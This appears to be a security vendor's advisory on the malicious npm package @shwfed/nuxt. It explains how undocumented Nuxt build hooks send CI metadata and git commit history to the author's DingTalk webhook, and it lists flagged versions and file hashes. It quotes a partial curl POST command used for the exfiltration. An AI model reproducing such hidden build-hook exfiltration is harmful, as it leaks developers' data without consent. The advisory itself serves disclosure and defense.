Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

@shwfed/nuxtnpm

Malicious code in @shwfed/nuxt (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-4444
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @shwfed/nuxt

What this malware does

@shwfed/nuxt is published as a Nuxt UI module but contains undocumented build-hook code that, when a consumer integrates the module and runs a build under CI, POSTs the consumer's CI/build metadata and recent git history to a hardcoded third-party DingTalk webhook owned by the package author. In dist/module.mjs, the build:error and build:done Nuxt hooks invoke execSync("curl -s -X POST '${url}'... -d @-", { input: payload }) against https://oapi.dingtalk.com/robot/send with an embedded access_token (a01e0fdf...) and an embedded HMAC signing secret (SEC9d852...). The payload includes JOB_NAME, BUILD_NUMBER, branch name, RUN_DISPLAY_URL, build error message, the last 5 git log entries (commit subjects and author names) from the consumer's repository, and the last commit author. The destination is fixed in the source — not configurable, not documented, and unrelated to the module's advertised UI-component purpose. Any consumer that adds this module to their Nuxt config and runs CI builds leaks build status and recent git commit metadata (including third-party committer names) to the author's DingTalk channel without consent.

Malicious versions

3 flagged
0.12.00.13.00.13.1

Indicators of compromise (SHA-256)

04c497e228a9ddf1560202c00b4a4a316bf4e44a76f032f35ac83da01ff5f866
87ac343d6f89a601749bb115fa6902e7d39c71a0a6469690ecef56e9ea8a135e
cc9864d615e6760cc4ce5f9037b93cb29a5f1c044cafa7736f7d3a953a42f6a4
0bf4290eabdf1af188406fbba698fba9e3d85b7a976bd5cc6fb77b862c0c1b2e
3336b06325a199568cd0fffee2cec27695d7e49be7d5cb333bcb3569ff846aec
63b019ca84778d17faf6bd57d455e1af9c7a07535d8cba7f69456d14e81419b2

Frequently asked questions

No. @shwfed/nuxt on npm has been identified as a malicious package (versions 0.12.0, 0.13.0, 0.13.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004583IN-MAL-2026-004127IN-MAL-2026-004128IN-MAL-2026-004582IN-MAL-2026-006155IN-MAL-2026-006154

References

Credits

  • Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection
@shwfed/nuxt (npm) malicious package — MAL-2026-4444 | O3 Security